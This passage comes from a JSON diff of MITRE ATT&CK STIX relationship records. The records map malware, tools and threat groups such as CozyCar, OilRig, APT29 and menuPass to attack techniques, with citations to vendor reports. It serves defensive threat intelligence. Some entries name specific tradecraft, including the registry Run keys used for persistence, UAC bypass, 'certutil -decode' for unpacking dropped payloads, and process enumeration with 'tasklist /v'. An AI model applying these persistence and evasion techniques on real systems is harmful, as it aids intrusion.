"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--28084f31-80be-472b-bd15-6945b2905a93", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An older variant of [PLAINTEE](https://attack.mitre.org/software/S0254) performs UAC bypass.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8bb8c2ab-b701-4a09-902b-a2ddf8d36451", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) encrypts files with XOR before sending them back to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--40e636e8-a891-46fb-ba04-69db00062354", + "external_references": [ + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) adds a Registry Run key for ctfmon.exe to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys:
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--327a64df-b405-453b-83d2-528d17e8df51", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.132Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) gathers system configuration information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-ProcessTokenGroup Privesc-PowerUp module can enumerate all SIDs associated with its current token.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b70e19d8-9602-4795-9d9b-ef18cdbe5d51", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.123Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.173Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--80aab758-d3fc-4380-b114-e552bdace832", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) sent malicious attachments to victims over email, including an Excel spreadsheet containing macros to download Pupy.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d36e441f-3455-4373-a1e9-be28f3d50c76", + "external_references": [ + { + "source_name": "SecureWorks Mia Ash July 2017", + "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", + "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash" + } + ], + "modified": "2019-03-25T14:25:29.492Z", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Moafee](https://attack.mitre.org/groups/G0002) has been known to employ binary padding.", + "type": "relationship", + "created": "2017-05-31T21:33:27.032Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83cfa11e-f221-4dc4-b184-943c2c7f4562", + "external_references": [ + { + "source_name": "Haq 2014", + "description": "Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" + } + ], + "modified": "2019-03-25T14:26:03.427Z", + "source_ref": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f", + "relationship_type": "uses", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) obtains a list of running processes through WMI querying and the ps command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e462e1b-62ec-4b44-990d-acd3f7b0010c", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.711Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run hostname and systeminfo on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0c03f2b4-a752-4d74-9c26-5306132a3329", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "Palo Alto OilRig Oct 2016", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + } + ], + "modified": "2019-07-17T16:17:30.063Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) gathers the current domain the victim system belongs to.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c130246-6222-4395-8edc-cb325b437696", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:29:27.545Z", + "type": "relationship", + "id": "relationship--dd315296-ffee-4f1b-aef7-2d914c458fd2", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin that can perform ARP scanning as well as port scanning.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6b68811-113e-4f86-8096-9f506e34dda1", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [ZLib](https://attack.mitre.org/software/S0086) backdoor compresses communications using the standard Zlib compression library.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--32568a57-ff9c-42f5-9b60-0b78d7b0a7c0", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27e7f34e-9750-4cf0-8260-33f2996ee38c", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-25T14:25:53.245Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:19:23.347Z", + "type": "relationship", + "id": "relationship--4267ad8c-6bd8-4fef-ac00-fe536ba746be", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-10-17T00:14:20.652Z", + "source_ref": "course-of-action--08e02f67-ea09-4f77-a70b-414963c29fc2", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use a number of known techniques to bypass Windows UAC.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c030461-42c5-44db-908a-85ac9a5a9822", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.339Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:31:04.340Z", + "type": "relationship", + "id": "relationship--9691a6a8-12d0-45a7-8217-11d1793234cb", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.029Z", + "source_ref": "course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.334Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f2d601c9-8cc7-4425-b76f-fbc9997b55fd", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) uses the ipconfig command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a8efc910-79fc-474a-b3c1-27c8922c1af0", + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:04:45.656Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.045Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a87ff58-10b1-4fbc-a633-d7d8a34d1b29", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) takes screenshots of the user's desktop.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--97a68907-3642-4f23-aeae-55ad5bbd7b86", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Duqu](https://attack.mitre.org/software/S0038) can track key presses with a keylogger module.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0b823cda-4775-4690-9ea6-02bbaa3522a1", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.222Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:36:50.404Z", + "type": "relationship", + "id": "relationship--edb697fa-d6b2-400a-acad-ccacc38c87c0", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve lists of files.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab27d055-77bb-4a3d-89b2-771e532f7384", + "external_references": [ + { + "source_name": "Symantec Pasam May 2012", + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Briba](https://attack.mitre.org/software/S0204) installs a service pointing to a malicious DLL dropped to disk.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0b4cd78b-e0af-4123-b2aa-02ad66cca419", + "external_references": [ + { + "source_name": "Symantec Briba May 2012", + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may gather a list of running processes by running tasklist /v.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c", + "external_references": [ + { + "source_name": "AlienVault Sykipot 2011", + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11a7431f-416f-48de-a3c0-8782abdede63", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "PaloAlto Patchwork Mar 2018", + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used [certutil](https://attack.mitre.org/software/S0160) in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has also used certutil -decode to decode files on the victim\u2019s machine when dropping [UPPERCUT](https://attack.mitre.org/software/S0275).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a6ddb76d-4317-4cfd-9e1d-57d8a0c5fb21", + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": 